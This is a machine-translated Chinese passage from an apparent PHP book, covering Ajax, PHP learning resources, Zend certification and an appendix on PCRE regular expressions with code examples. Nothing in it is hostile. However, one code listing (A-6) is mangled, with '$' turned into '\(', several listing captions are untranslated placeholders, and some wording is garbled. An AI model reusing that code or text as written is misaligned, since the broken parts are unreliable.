可以用 Ajax 交流的数据格式包括 XML(在第十四章中讨论过的)、JSON(我们在本章中讨论过的)、HTML 和纯文本。
Ajax 在现代 web 开发中的使用是一把双刃剑。一方面,Ajax 实现了传统 web 模型无法实现的响应性和幕后数据传输。另一方面,用户期待丰富的浏览体验。因此,为了满足这些期望,web 应用需要做大量的工作。为了用 Ajax 创造良好的用户体验(UX ),开发人员需要精通几种技术,其中最重要的是 JavaScript、DOM 选择器、JSON 和 XML。
最后,Ajax 是一个新兴领域,其他技术如反向 Ajax 也在探索中。反向 Ajax 涉及长期 HTTP 连接和服务器将数据推送到客户端。未来有望让 Ajax 成为 web 开发的核心。
十六、结论
我们希望你喜欢阅读这本书,并且很好地利用了每一章的资源和代码。我们尽了一切努力使这本书对你有很大的价值,我们希望它是你的高级 PHP“入门”书籍;把它放在你电脑旁边的桌子上,而不是和你库里的其他编程书籍一起放在书架上。
当然,我们都明白,IT 行业以光速前进,这本书的许多内容在几个月内就会过时。所以我们增加了这一章,以帮助你找到还没有被问过的网络开发问题的答案。这是我们所知道的一些最好的互联网资源的总结,并且完全赞同作为你在 web 开发和 PHP 编程方面继续教育的额外材料。
资源
首先,我们想向您介绍大量的网络资源。本节总结了您可以在这些网站上找到的内容。
www.php.net
在这里您可以找到最新版本的 PHP 供下载。此外,您还会发现完整的在线参考资料,其中包含大量示例代码以及用户/读者添加的注释和说明。在线文档也可以很容易地搜索到,如果你没有找到正确的措辞,一些合理的替代建议。除了基本的有价值的材料之外,您将会发现一个即将到来的 PHP 事件的列表,比如会议和用户组会议,当然还有 PHP 开发人员认为可能会增加价值的最新相关链接。参见图 16-1 。
注意当使用 php.net 进行代码帮助时,可以通过在 URL 的末尾添加函数名来尝试直接 URL 查找技术,如下所示:
php.net/date
例如,如果您想查看 PHP 日期函数的文档,您可以这样做。
图 16-1。www.php.net
www.zend.com
下一个你最有可能花费大量时间的网站是 Zend 公司的网站。这就是自称的“PHP 公司”。在这里,您将能够看到 Zend 为帮助 PHP 开发和 PHP 服务器交付而开发的许多附加产品。如果你查看它的完整产品列表,你还会看到该公司在很大程度上参与了 PHP 本身的开发。除了所有的商业产品之外,他们全年还会举办许多有价值的网络研讨会。参见图 16-2 。
图 16-2。【www.zend.com 号
devzone.zend.com
这是 Zend 主页的姐妹网站。在这里你会发现一个伟大的开发者社区,他们都希望在 PHP 开发和 Zend 产品线的使用上互相帮助。这里的其他内容包括书评和会议报告。如果你真的遇到了 PHP 的问题,这里是和专家交流的地方。每个主题领域都有特定的论坛,还有播客、教程、文章,甚至是 PHP 手册的另一种途径。参见图 16-3 。
图 16-3。【devzone.zend.com 号
建筑师杂志:www.phparch.com
我们极力推荐的另一个资源是伟大的虚拟杂志 PHP | Architect 。你可以在上面的网址访问它的网页,看一期免费的,然后如果你足够喜欢它,你可以以合理的价格订阅 PDF 版本的杂志。这本杂志的内容质量是它如此有价值的原因。涵盖的主题通常是 PHP 技术的前沿,并且通常是中级到高级的信息。
会议
对于继续你的 PHP 教育来说,没有什么比参加一个会议更好的了。它让你有机会摆脱日常压力,真正专注于与 PHP 程序员同事会面和交流,讨论生活、宇宙和一切。这些事件的社会方面同样有价值。信不信由你,一天结束时,即使你正在酒店的休息室里喝饮料,技术会议上也会传递大量的知识。自然,在正式的演讲中通常会传播大量的信息,这也是参加会议的主要原因,但是附带的好处是无法估量的。
如果你有任何类型的高级经验,为什么不提交一个会议主题呢?如果你被选为演讲者,你将进入会议生活的另一个领域,这个领域没有多少人有机会体验——与行业名人接触,并与许多非常聪明的人建立宝贵的联系。当然,随着你被提升到会议发言人和主题专家的境界,你现在也会被认为是他们中的一员了!
如果可能的话,以下是推荐参加的会议列表(如果你资金有限,按优先顺序降序排列):
- 主要的 PHP 编程世界大会通常在每年的 11 月举行。你一定会在这里看到一些 PHP 大佬的名字,并且结交一些很棒的人脉。此外,主要的行业公告和产品发布通常会在 ZendCon 上宣布;因此,如果你想成为第一个看到和听到重大公告的人,那就试着参加这个会议。
- OSCON: O'Reilly 的 web 开发和开源会议。这个会议比 PHP 更广泛,但是 PHP 肯定是其中的一部分。OSCON 通常在仲夏的七月举行。
- ConFoo :以前被称为 PHP 魁北克,这是一个伟大的加拿大会议,它的内容扩展到 PHP 之外,尽管它的根源肯定是基于 PHP web 开发领域。
- 国际 PHP 大会:每年在德国举行两次,分别在春季和秋季。春季会议通常在柏林举行,而秋季会议——通常在 10 月份——似乎在德国的不同城镇举行。
- 开源印度:这个为期三天的会议在每年的秋季举行。这是一个开源会议,所以像 OSCON 一样,它涵盖的不仅仅是 PHP 相关的主题。这是全亚洲最大的开源商业会议之一,所以如果你想在这个地区建立商业联系,你应该试着参加。不过,提醒一句:如果你想参加这次会议,除了护照之外,你还需要一份旅行签证。
注意一定要查看 php.net 的会议版块,因为新的会议总是不断出现。
PHP 认证
本章讨论的最后一个主题是获得 PHP 认证的价值(或感知价值),以及准备和参加考试的必要条件。关于这个主题有很多讨论,因为这个认证从 PHP 4.0 版(2004 年 7 月)开始就已经存在了,所以已经有足够的时间对它的价值进行合理的讨论了。有趣的是,这本书的四位作者中有三位是经过认证的 PHP 开发人员;这应该会让你对认证的价值有所了解。因此,让我们来看看它需要什么。
认证考试由 Zend 公司管理。这件事的巧妙之处在于,就像 PHP 本身一样,测试的准备工作类似于开源方法。Zend 邀请世界各地的 PHP 专家加入一个委员会,为考试准备问题和答案。这至少有以下两个好处:
- 这项测试是由不止一个团体或公司准备的,所以它对什么是并且应该被认为是可测试的有一个非常广阔的视角。
- 因为问题来自 PHP 专家的广泛基础,所以你知道测试并不局限于 PHP 语言的一两个特定领域。
目前的考试水平是基于 PHP 5.3 版本,被认为比 4.0 认证稍微难通过一点。考试的及格水平没有透露,但据猜测,考生必须取得 60 分或更高的分数才能通过考试。
注意这种测试有时会在某些会议上免费提供,ZendCon 就是其中之一。在同一会议上还提供了一个考试准备速成班。这是一个免费尝试测试的好机会。
测试由 70 个随机选择的问题组成,你有 90 分钟的时间来回答这些问题。有 12 个不同的主题领域,问题将从所有这些领域中抽取,为了尝试测试,您应该非常了解这些领域。此外,建议您在一年半到两年的时间里每天都使用 PHP,以获得测试所要求的基本实践经验。如果你真的通过了考试,你将被授予 Zend 认证工程师 ZCE 的称号,你将获得一个适合装裱的签名证书,你可以把 ZCE 添加到你的名片或网站上。
在 Zend.com 和 phparch.com 的网站上有学习指南和测试样题,所以如果你想得到额外的学习资料,可以去看看那些资源。
以下是测试主题领域:
- PHP 基础
- 功能
- 数组
- 面向对象编程
- 字符串和正则表达式
- 设计和理论
- 网页功能
- PHP 4 和 PHP 5 版本的区别
- 文件、流、网络
- XML 和 web 服务
- 数据库
- 安全
那么,认证值吗?绝对的!你会看到许多工作列表要求这一名称,因为它证明了 PHP 语言的专家能力的一定水平,它有助于你获得更高的工资。你会有一个新的自信水平,你会更好地准备下一次与你的老板讨论你的表现和薪酬。
总结
在这一章中,我们看了本书范围之外的资源和材料。我们还讨论了获得 PHP 语言 Zend 认证的价值。这本书的所有作者都希望你继续提高和扩展你对这种奇妙而强大的开源 web 开发语言的知识。
十七、附录:正则表达式
本附录以快速实用的方式介绍了正则表达式。然而,这个介绍仅仅是一个开始,因为这个主题是如此广泛,以至于已经有整本书都是关于它的。一个很好的例子是 Nathan A. Good (Apress,2004)的正则表达式食谱。正则表达式是一种精确匹配符合特定选择标准的字符串的方法。它们是理论计算机科学中的一个老概念,基于有限状态机。
正则表达式有很多种,它们在很多方面都是不同的。两个最常见的正则表达式引擎是 Posix 正则表达式和 Perl 兼容正则表达式(PCRE)。PHP 使用的是后者。实际上,两者都可以使用,但是 Posix 变体在 PHP 5.3 和更高版本中被否决了。以下是实现 PCRE 正则表达式引擎的主要 PHP 函数:
preg_match
preg_replace
preg_split
preg_grep
正则表达式机制中还有其他函数,但这四个函数是最常用的。每个中的“preg”代表“Perl 正则表达式”,与 Posix 正则表达式或“扩展正则表达式”相对。是的,曾经有过“ereg”版本的正则表达式函数,但是从 PHP 5.3.0 开始它们被弃用了。
本附录有两部分:第一部分解释 PCRE 正则表达式语法;第二个展示了在 PHP 脚本中使用它们的例子。
正则表达式语法
正则表达式的基本元素是元字符。当元字符被反斜杠字符(“\”
)转义时,它们就失去了特殊的意义。表 A-1 是元字符的列表。
除了元字符,还有一些特殊的字符类,在表 A-2 中列出。
正则表达式.*
将匹配任何字符。正则表达式^.*3
将匹配从该行开始直到该行最后一个数字“3”的字符。这种行为是可以改变的;我们将在后面关于贪婪的章节中讨论这一点。现在,让我们看看更多正则表达式的例子。
正则表达式示例
首先,让我们看看日期。今天是 2011 年 4 月 30 日,星期六。以这种格式匹配日期的第一个模式如下所示:
/[A-Z][a-z]{2,},\s[A-Z][a-z]{2,}\s\d{1,2},\s\d{4}/
它的意思是“一个大写字母,后面是至少两个小写字母和一个逗号,后面是空格,大写字母,至少两个小写字母,空格,1 或 2 位数字,逗号,空格,最后,精确地是一年的 4 位数字。”列出 A-1 是测试正则表达式的一小段 PHP 代码:
列举 A-1。测试正则表达式
<?php $expr = '/[A-Z][a-z]{2,},\s[A-Z][a-z]{2,}\s\d{1,2},\s\d{4}/'; $item = 'Saturday, April 30, 2011.'; if (preg_match($expr, $item)) { print "Matches\n"; } else { print "Doesn't match.\n"; } ?>
注意,清单 A-2 中的$item
变量末尾有一个点,而我们的正则表达式以年份的\d{4}
结尾,与末尾的点不匹配。如果我们不希望这样,我们可以将正则表达式“锚定”到行尾,编写成这样:/[A-Z][a-z]{2,},\s[A-Z][a-z]{2,}\s\d{1,2},\s\d{4}$/
。表达式末尾新添加的美元符号表示“行尾”,这意味着如果在年份之后的行中有任何尾随字符,正则表达式将不匹配。类似地,我们可以通过使用元字符“^”
将正则表达式锚定到行首。匹配整行内容的正则表达式是/^.*$/
。
现在,我们来看一种不同的日期格式,YYYY-MM-DD。任务是解析日期并提取组件。
注意这可以很容易地用日期函数来完成,它很好地说明了一些 PHP 函数的内部工作原理。
我们不仅需要验证该行包含有效日期;我们还需要提取年、月和日。为此,我们需要匹配分组或子表达式。匹配分组可以被认为是按序列号排序的子表达式。使我们能够执行手头任务的正则表达式如下所示:
/(\d{4})-(\d{2})-(\d{2})/
括号用于匹配分组。这些分组是子表达式,可以看作是独立的变量。清单 A-2 展示了如何使用内置的 preg_match 函数来实现这一点。
清单 A-2。用内置的In preg_match
函数匹配分组
<?php $expr = '/(\d{4})-(\d{2})-(\d{2})/'; $item = 'Event date: 2011-05-01'; $matches=array(); if (preg_match($expr, $item,$matches)) { foreach(range(0,count($matches)-1) as $i) { printf("%d:-->%s\n",$i,$matches[$i]); } list($year,$month,$day)=array_splice($matches,1,3); print "Year:$year Month:$month Day:$day\n"; } else { print "Doesn't match.\n"; } ?>
在这个脚本中,函数preg_match
接受第三个参数,数组$matches
。以下是输出:
./regex2.php 0:-->2011-05-01 1:-->2011 2:-->05 3:-->01 Year:2011 Month:05 Day:01
数组$matches
的第 0 个元素是匹配整个表达式的字符串。这与整个输入字符串不同。之后,每个连续的分组被表示为数组的一个元素。让我们看另一个更复杂的例子。让我们解析一个 URL。通常,URL 的形式如下:
http://hostname:port/loc?arg=value
当然,表达式的任何部分都可能缺失。解析上述形式的 URL 的表达式如下所示:
/^https?:\/\/[^:\/]+:?\d*\/[^?]*.*/
这个表达中有几个值得注意的新元素。首先是^http[s]?:
中的s?
部分。匹配字符串开头的http:
或https:
。脱字符^将表达式锚定在字符串的开头。那个?表示“前一个表达式出现 0 次或 1 次”前面的表达式是字母 s,翻译成“字母 s 出现 0 次或 1 次”。此外,斜线字符/以反斜杠字符\为前缀,以消除它们的特殊含义。
PHP 对正则表达式分隔符非常宽容;它允许将其更改为任何其他分隔符。PHP 会识别括号或竖线字符|,所以如果写成[^https?://[^:/]+:?\d*/[^?]*.*]
,或者甚至使用竖线字符作为分隔符:|^https?://[^:/]:?\d*/[^?]*.*|
,表达式也同样有效。从特殊字符中去除特殊含义的一般方法是在它们前面加上一个反斜杠字符。该过程也称为“转义特殊字符”正则表达式很聪明,可以在给定的上下文中猜出字符的含义。在[^?]*
中省略问号是不必要的,因为从上下文可以清楚地看出,它表示与问号不同的字符类别。这不适用于分隔符,如/;我们必须逃离这些。还有表达式的[^:\/]+
部分,它代表“一个或多个不同于冒号或斜杠的字符”这个正则表达式甚至可以帮助我们处理稍微复杂一点的 URL 形式。参见列表 A-3 。
清单 A-3。复杂 URL 格式的正则表达式
<?php $expr = '[^https*://[^:/]+:?\d*/[^?]*.*]'; $item = 'https://myaccount.nytimes.com/auth/login?URI=http://'; if (preg_match($expr, $item)) { print "Matches\n"; } else { print "Doesn't match.\n"; } ?>
这是纽约时报的登录表单。现在让我们使用分组提取主机、端口、目录和参数字符串,就像我们在清单 A-2 中所做的那样(参见清单 A-4 )。
列举 A-4。提取主机、端口、目录和参数字符串
<?php $expr = '[^https*://([^:/]+):?(\d*)/([^?]*)\??(.*)]'; $item = 'https://myaccount.nytimes.com/auth/login?URI=http://'; $matches = array(); if (preg_match($expr, $item, $matches)) { list($host, $port, $dir, $args) = array_splice($matches, 1, 4); print "Host=>$host\n"; print "Port=>$port\n"; print "Dir=>$dir\n"; print "Arguments=>$args\n"; } else { print "Doesn't match.\n"; } ?>
执行时,该脚本将产生以下结果:
./regex4.php Host=>myaccount.nytimes.com Port=> Dir=>auth/login Arguments=>URI=http://
内部选项
URL 中未指定端口的值,因此没有可提取的内容。其他的东西都提取得很好。现在,如果 URL 是用大写字母写的,会发生什么,就像这样:
HTTPS://myaccount.nytimes.com/auth/login?URI=http://
这不匹配,因为我们当前的正则表达式指定了小写字符,然而它是一个完全有效的 URL,可以被任何浏览器正确识别。如果我们想考虑到这种可能性,我们需要在正则表达式中忽略大小写。这可以通过在正则表达式中设置“忽略大小写”选项来实现。正则表达式现在看起来像这样:
[(?i)^https?://([^:/]+):?(\d*)/([^?]*)\??(.*)]
对于(?i
)之后的任何匹配,将忽略大小写。正则表达式Mladen
( ?i)g
将匹配两个字符串Mladen G and Mladen g
,但不匹配MLADEN G
。
另一个经常使用的选项是“多行”的m
通常,当遇到换行符“\n”
时,正则表达式解析停止。可以通过设置(?m
)选项来改变这种行为。在这种情况下,解析不会停止,直到遇到输入的结尾。美元符号字符也将匹配换行符,除非设置了“D”
选项。“D”
选项意味着元字符“$”
将只匹配输入的结尾,而不匹配字符串中的换行符。
选项可以分组。在表达式的开头使用(?imD
)将设置所有三个选项:忽略大小写、多行和“美元仅匹配结尾”
还有一种更传统的全局选项表示法,允许在最后一个正则表达式分隔符之后指定全局修饰符。使用这种符号,我们的正则表达式将如下所示:
[^https?://([^:/]+):?(\d*)/([^?]*)\??(.*)]i
新符号的优点是它可以在表达式中的任何地方指定,并且只会影响修饰符之后的表达式部分,而在最后一个表达式分隔符之后指定它将不可避免地影响整个表达式。
注意全局模式修改器的完整文档可从这里获得:
[www.php.net/manual/en/reference.pcre.pattern.modifiers.php](http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php)
贪婪
正常情况下,正则表达式是贪婪的。这意味着解析器将尝试匹配尽可能多的输入字符串。如果正则表达式'(123)+'
被用于输入字符串'123123123123123A'
,那么字母 A 之前的所有内容都将被匹配。下面的小脚本测试了这个概念。这个想法是从 HTML 行中只提取img
标签,而不提取任何其他标签。该脚本的第一次迭代不能正常工作,看起来像是列出了 A-5 。
清单 A-5。在此插入列表标题。
<?php $expr = '/<img.*>/'; $item = '<a><img src="file">text</a>"'; $matches=array(); if (preg_match($expr, $item,$matches)) { printf( "Match:%s\n",$matches[0]);
} else { print "Doesn't match.\n"; } ?>
执行时,结果如下所示:
./regex5.php Match:<img src="file">text</a>
注意一些浏览器,最著名的是谷歌 Chrome,会试图修复不良标记,因此贪婪和非贪婪输出都会排除错误的
</a>
。
我们匹配了比我们想要的更多的字符,因为模式“.*>”
匹配了尽可能多的字符,直到它到达最后一个“>”
,它是</a>
标签的一部分,而不是lt;img>
标签的一部分。使用问号会使“*”
和“+”
量词不贪心;它们将匹配最小数量的字符,而不是最大数量的字符。通过将正则表达式修改为'<img.*?>'
,模式匹配将继续进行,直到遇到第一个“>”
字符,产生期望的结果:
Match:<img src="file">
解析 HTML 或 XML 是使用非贪婪修饰符的典型情况,正是因为需要匹配标签边界。
PHP 正则表达式函数
到目前为止,我们所做的只是检查给定的字符串是否与规范匹配,规范是以复杂的 PCRE 正则表达式形式编写的,并根据正则表达式从字符串中提取元素。使用正则表达式还可以做其他事情,比如替换字符串或将字符串拆分成数组。除了大家已经熟悉的preg_match
函数之外,这一节专门介绍实现正则表达式机制的其他 PHP 函数。这其中最值得注意的就是preg_replace
。
替换字符串:preg_replace
preg_replace
函数使用以下语法:
$result = preg_replace($pattern,$replacement,$input,$limit,$count);
参数$pattern, $replacement
和$input
是不言自明的。$limit
参数限制替换次数,-1 表示没有限制;默认值为-1。最后一个参数$count
,如果指定的话,将在替换完成后填充实际执行的替换次数。这看起来很简单,但是还有更多的分歧。首先,模式和替换可以是数组,如清单 A-6 中所示。
清单 A-6。在此插入列表标题。
`<?php
$cookie = <<<'EOT'
Now what starts with the letter C?
Cookie starts with C
Let's think of other things that starts with C
Uh ahh who cares about the other things
C is for cookie that's good enough for me
C is for cookie that's good enough for me
C is for cookie that's good enough for me
Ohh cookie cookie cookie starts with C
EOT;
\(expression = array("/(?i)cookie/", "/C/");
\)replacement = array("donut", "D");
\(donut = preg_replace(\)expression, $replacement, \(cookie);
print "\)donut\n";
?>`
当执行时,这个小脚本产生的结果可能不会吸引来自芝麻街的饼干怪兽:
`./regex6.php
Now what starts with the letter D?
donut starts with D
Let's think of other things that starts with D
Uh ahh who cares about the other things
D is for donut that's good enough for me
D is for donut that's good enough for me
D is for donut that's good enough for me
Ohh donut donut donut starts with D`
需要注意的重要一点是,模式和替换都是数组。模式和替换数组应该具有相同数量的元素。如果替换比模式少,那么丢失的替换将被空字符串替换,从而有效地破坏模式数组中指定的剩余字符串的匹配。
正则表达式的全部力量可以在列出 A-7 的清单中看到。该脚本将从提供的表名列表中产生 SQL 就绪的 truncate table 命令。这是一项相当常见的任务。
为了简洁起见,表的列表已经是一个数组,尽管它通常是从文件中读取的。
列举 A-7。在此插入列表标题。
<?php $tables = array("emp", "dept", "bonus", "salgrade"); foreach ($tables as $t) { $trunc = preg_replace("/^(\w+)/", "truncate table $1;", $t); print "$trunc\n"; }
执行时,结果如下所示:
./regex7.php truncate table emp; truncate table dept; truncate table bonus; truncate table salgrade;
preg_replace
的使用说明了几件事。首先,正则表达式中有一个分组(\w+
)。当从清单 A-2 的中的字符串中提取日期元素时,我们在上一节中看到了分组。这种分组也出现在替换论元中,如“$1
”。每个子表达式的值在变量$n
中被捕获,其中n
的范围从 0 到 99。当然,与preg_match, $o
一样,它包含整个匹配的表达式,后续变量包含子表达式的值,从左到右编号。另外,请注意这里的双引号。不存在将变量$1
与其他变量混淆的危险,因为形式$n, 0<=n<=99
的变量是保留的,不能在脚本的其他地方使用。PHP 变量名必须以字母或下划线开头,这是语言规范的一部分。
其他正则表达式函数
还有两个正则表达式函数要讨论:preg_split
和preg_grep
。这两个函数中的第一个,preg_split
,是相对于explode
函数更强大的。explode
函数将根据提供的分隔符字符串将输入字符串分割成元素数组。换句话说,如果输入字符串是$a="A,B,C,D"
,那么explode
函数使用字符串“,”作为分隔符,将生成包含元素“A
”、“B
”、“C
”和“D
”的数组。问题是,如果分隔符不是固定的格式,字符串看起来像$a='A, B,C .D'?
这样,我们如何拆分字符串。在这里,我们在分隔逗号的前后都有空格字符,我们还用一个点作为分隔符,这使得仅使用 explode 函数是不可能的。preg_split
没有任何问题。通过使用下面的正则表达式,该字符串将被完美地拆分成各个部分:
$result=preg_split('/\s*[,.]\s*/',$a);
正则表达式的含义是"0
或多个空格,后跟一个字符,该字符可以是点或逗号,后跟 0 个或多个空格当然,添加正则表达式处理比仅仅比较字符串更昂贵,所以如果常规的explode
函数足够了,就不应该使用preg_split
,但是工具箱中有它真的很好。增加的成本来自于正则表达式是相当复杂的事实。
注意正则表达式不是魔法。它们需要谨慎和测试。如果不小心,也可能得到意想不到的或不好的结果。使用正则表达式函数而不是更熟悉的内置函数本身并不能保证得到想要的结果。
所有知道如何使用名为grep
的命令行实用程序的人都应该熟悉preg_grep
函数。函数就是以此命名的。preg_grep
函数的语法如下所示:
$results=preg_grep($pattern,$input);
函数preg_grep
将为输入数组$input
的每个元素计算正则表达式$pattern
,并将匹配的输出存储在结果数组结果中。结果是一个关联数组,其原始数组的偏移量作为键提供。清单 A-8 展示了一个基于文件系统grep
实用程序的例子:
清单 A-8。在此插入列表标题。
<?php $input = glob('/usr/share/pear/*'); $pattern = '/\.php$/'; $results = preg_grep($pattern, $input); printf("Total files:%d PHP files:%d\n", count($input), count($results)); foreach ($results as $key => $val) { printf("%d ==> %s\n", $key, $val); } ?>
中的点。php 扩展名被一个反斜杠字符转义,因为 dot 是一个元字符,所以为了去掉它的特殊含义,它必须加上前缀“\
”。用于编写本附录的系统的结果如下所示:
./regex8.php Total files:35 PHP files:12 4 ==> /usr/share/pear/DB.php 6 ==> /usr/share/pear/Date.php 8 ==> /usr/share/pear/File.php 12 ==> /usr/share/pear/Log.php 14 ==> /usr/share/pear/MDB2.php 16 ==> /usr/share/pear/Mail.php 19 ==> /usr/share/pear/OLE.php 22 ==> /usr/share/pear/PEAR.php 23 ==> /usr/share/pear/PEAR5.php 27 ==> /usr/share/pear/System.php 29 ==> /usr/share/pear/Var_Dump.php 32 ==> /usr/share/pear/pearcmd.php
在安装了不同 PEAR 模块的不同系统上,结果可能会有所不同。
preg_grep
函数可以让我们不用在循环中检查正则表达式,非常有用。
还有其他几个正则表达式函数,它们的使用频率远低于本附录中描述的函数。这些函数都有很好的文档记录,感兴趣的读者可以在[www.php.net](http://www.php.net.).
的在线文档中查找它们